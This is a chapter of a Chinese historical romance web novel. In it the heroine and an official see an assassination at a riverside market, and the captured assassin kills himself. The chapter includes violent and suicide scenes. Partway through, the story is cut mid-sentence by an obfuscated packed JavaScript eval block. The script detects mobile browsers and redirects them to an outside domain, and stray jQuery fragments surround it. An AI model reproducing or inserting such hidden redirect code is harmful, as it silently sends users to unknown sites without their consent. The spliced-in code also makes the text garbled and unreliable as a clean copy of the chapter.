28. 第二十八章

作品:《月照江川

    秦怀月平日有空时,常会去京中这家名叫百果轩的老字号店。


    因为时常帮黎清捎些点心,又会帮母亲带上几盒赏给下人,所以和店小二格外熟稔,今日前来也是提前打过招呼。


    小二住的离店铺近,见秦怀月今天过来,忙跑过来跟她解释:“怀月姑娘,您说真不凑巧,店主今日回家省亲,临时闭店一天,我怕您苦等,提前来这里告知您。”


    有前来买甜果的大娘,听小二说这话也插句嘴:“平日张栗从不闭店,比谁都勤快,怎么今日刚好回去省亲?”


    “店主祖籍柴州,离京多年与父母聚少离多,如今家中母亲生场病,这才抽空回去一趟。”小二连忙为各位顾客赔罪。


    听了这话,秦怀月点点头:“这倒也是应该。”


    见她脸上依旧隐有失望神色,小二心中愧疚,想着事发突然,便挑来竹筐,送她些新挑的果子。


    秦怀月看他篮筐中,红艳果实积成小塔,看着格外喜人,这等品质,应该是明日就做成点心的上等好果。


    既然吃了个闭门空,秦怀月打算同方明川打道回府,寻个日子下次再来。


    没买到想要的东西,秦怀月一向沉稳的面上蔫了不少,现下掏出从店小二那里顺的两颗山楂果,当铁球放在手心中把玩。


    方明川看出她失落,转念想了别的办法,趁时间还早,带她去另一家曲江边上的铺子,买些别的小物当做赔礼。


    “既然如此,修撰大人可要多赔上一些。”


    有了解决方案,秦怀月心情还不错,跟方明川慢悠悠走在曲江小径边。


    闲来无事,转起手上的山楂球,秦怀月故意装作一副官场老油条模样。


    那两颗山楂,在她的掌心翻弄下,盘到几近光滑包浆。


    方明川看她把玩,只觉得有些好笑:“没想到秦检讨还没当上大官,就已经有一副官威做派。”


    听他这恭维话,秦怀月假笑两声,学那些印象中高官的样子,顺了顺不存在的长胡:“我要是当上什么大官,第一件事就是先给你参一笔。”


    秦怀月笑眯眯,给他慢慢往上加重罪:“瞒报官位为一罪,负伤不言罪加一等,这般久才想到要赔偿我,直接请示圣上,打入大牢。”


    如此昏官做派,也不知道是跟谁偷学的。


    方明川听她这话,没忍住弯了嘴角,正欲回嘴,只见秦怀月手上盘的飞快的果,依着惯性一个没拿稳,滑溜出去一颗。


    果子滚到水里,发出噗通一声咚响。


    “这下好了,官位不保,连自己都落下水来。”见此情状,方明川腹诽身边女子。


    见她听完这话瞬间瘪嘴,方明川不由得轻笑。


    秦怀月还没玩够,赶忙疾跑两步去河边,试图看看能不能挽回。


    可那颗山楂球随流动的河水起起伏伏,越漂越远。


    秦怀月神色苦闷,眺望那处唉声叹气:“我这官位还没坐热乎呐。”


    无奈,只得悻悻走回,继续沿河前行。


    入秋后几场雨,天愈发寒,曲江水冷,偶有几条农船从旁侧经过,载着点时兴的瓜果蔬菜,生活用品,当做货物来桥头做生意,赚些银两。


    待到两人路过桥头集市时,人群与往日一般众多,只是今日有几人高声喧闹,像是出了什么事。


    秦怀月细细看那几人行头,认出有御林军打扮的官卫身处其中。


    蓦然人群中一阵骚乱,有妇孺惊叫,脚下被人硬生生挤开道缝隙,黑衣短打男子从缝中钻出,还未看清脸面,就亮出一把匕首,直冲领头的御林军将时肃而去。


    “何人!”


    时肃刚发出声,就被那人所持匕首一刀没入心脏,当刻就抽力倒下。


    见有人持刀行凶,现场骤然混乱一片,尖叫声,吼叫声,婴儿啼哭声,此起彼伏。


    男子借御林军一拥而上,急着搀扶时肃的当口,闪身冲出骚乱人群,就要逃离现场而去。


    秦怀月撞上这幕,心中暗道倒霉,见那人马上就要经过她与方明川身边,脑中快速运转想要施计停下那男子,身边月白色身影先她一步闪出,将她护在身后。


    “别动。”一声轻柔的劝诫。


    衣袂扇动间,秦怀月只听铮然一道破空锐刃之声,尖啸刺耳。


    随后就是物件没入那人血肉,发出的黏稠闷响。


    秦怀月忍不住抬头看去,只见那名男子惨哼一声,单膝跪倒桥头,抱着伤处从上边滚落,一路直跌到她面前。


    秦怀月没能反应过来,怔愣半天才发现,那破风之物,正是身旁猪肉铺边的磨刀棒。


    因为现在,那物直直没入男人大腿,从股后穿衣料而出。


    白铁沾着丝丝血肉,触目惊心。


    “何人胆敢在此造肆?”方明川捏着威压,沉声朝那男子问道。


    御林军随之蜂拥而至,如今时肃血流不止,现下唯有姜勇可堪大任,他敛着后摆走出队伍,朝方明川拱手。


    “多谢方大人出手相助,林大将军交予圣上的密信被人截获,御林军一路追查至此,这才发现这贼人。”


    那贼人眼下正捂住伤口抽气,看着像是疼痛不已,姜勇冷面朝向地上男子呵斥:“你是受谁家指使,胆敢截获车骑大将军的密信?”


    男子并不回答,眼神阴狠,忍着大腿剧烈疼痛,疾速从怀中抽出一把匕首,动作间仓促了些,扯出一抹玉色落在旁边的地上。


    秦怀月在落水那日见过这抹玉色,心中暗叫不好,正要出声,倒地男子先厉声凝出一声:“无人指使!”


    旋即,那把抽出来的匕首,滑破他自己喉咙,喷溅出一道长长血痕。


    这一道血喷溅开来,出乎在场所有人预料。


    身后被御林军挡严实的行人,大多不知道发生什么,听前面没了动静,有好事者踮着脚,想凑热闹看到底发生何事。


    后面的御林军拦住好奇的行人,双方几番推搡,才勉强略胜一筹,稳住人群。


    方明川为秦怀月挡在面前,丝毫未动。


    但即便如此,她也觉得自己脸上有几点温热,像是刚才那番被溅上的血渍。


    男人自戕后,喉头呜咽,发出犹如拉风箱般喀拉呼动之声,没多久就浑身抽抖几下,没了动静。


    饶是面前几人,也没想到此人如此决绝。


    姜勇见状,只得招呵身后御林军众人,将这男子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793004|174472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抬离闹市,将所有物证一并带回,以验明男子真身。


    临走前,姜勇不忘谢别:“此事多谢方大人,在下还有要事,先行一步。”


    方明川朝他点头。


    待到御林军走后,集市又恢复往日繁荣,来往人群依旧熙熙攘攘,前来采买所需用品,仿佛方才发生的事情不存在。


    人流来往中,有行人经过秦怀月身边,只当她面前那摊血,是隔壁肉铺宰杀活物时,不小心飞溅所致,毫不在乎地踩过上面。


    秦怀月从未见过有人在面前直接死亡,这一切发生的太快,她甚至还没有反应过来,还在想着那男人,死前最后的黯淡眼神。


    看到面前血渍,被踩出一道道脚印,又想到当时男子的死状,秦怀月只觉得胃酸上涌,嘴唇发白,喉头酸涩不已。


    怕再看只会忍不住,连忙后撤好几步,努力平复气息。


    方明川感受到身后的动静,转身看向她。


    秦怀月这才看清楚,他今日穿的月白色锦衣,被飞溅上一长道血红,点点绽放在他胸口,妖艳到刺目。


    “你先别过来!”秦怀月伸手与他保持距离,忍不住开口道。


    她这才发觉自己声线中的抖意,惊颤不已:“……我没见过死人,突然见这一遭,现在胃有些难受。”


    “好。”方明川见她神色慌张,不似从前,眉头也皱的极深。


    出了这样一档子事,秦怀月也无心再去其他地方,方明川见她心神不宁,的确是受了惊吓,便喊来卫凌,一路坐马车回府。


    他还是第一次见秦怀月这副模样,瑟缩在角落,紧闭双眼,正紧紧攥住自己袖口,一副惊惧神状。


    怕她当真出事,方明川开口安慰:“今日此事,是我想的不够周全。”


    秦怀月听他这句,舒缓不少,还起了点心思与他说笑:“修撰大人这话,可就没理由了,难道你还能掌控他人生死不成?”


    眼光朝他看去,方明川已经披上一身备好的玄色外袍,那道血痕被遮的严严实实,半分不再让她再看见。


    “原来大人喜穿玄色,是这种原因。”秦怀月淡淡道:“月白可遮不住血痕。”


    想到早年与他初遇时,方明川都是穿一身玄衣,怎么近年来开始喜穿月白?倒叫人好奇。


    “修撰大人是换了喜欢的颜色吗?”


    听她此问,方明川靠在床边,给她一个好整以暇的笑容:“也没有,只是格外喜欢月亮,想与她亲近些罢了。”


    秦怀月听完他这话,怔愣半天没反应过来,喜欢月亮,就穿月白,当真是不容易让人理解的脑回路。


    “现在来看,或许只是东施效颦。”


    方明川视线扫过她面上那一点点血痕,想起她那时的眼神来。


    或许是见多了她平日与自己油嘴滑舌的样子,他没想到,那副与他躲闪,不让他靠近半分的姿态,都让他觉得心头不快。


    秦怀月见方明川不再说话,自己也看向窗外,手指捻过袖口,想起当时男子掉出的那抹玉色。


    虽然并不能认定就是落水当日那块,且她后来也亲自看了苏奕手中的家牌。


    但她总觉得不对劲,心中揣揣不安。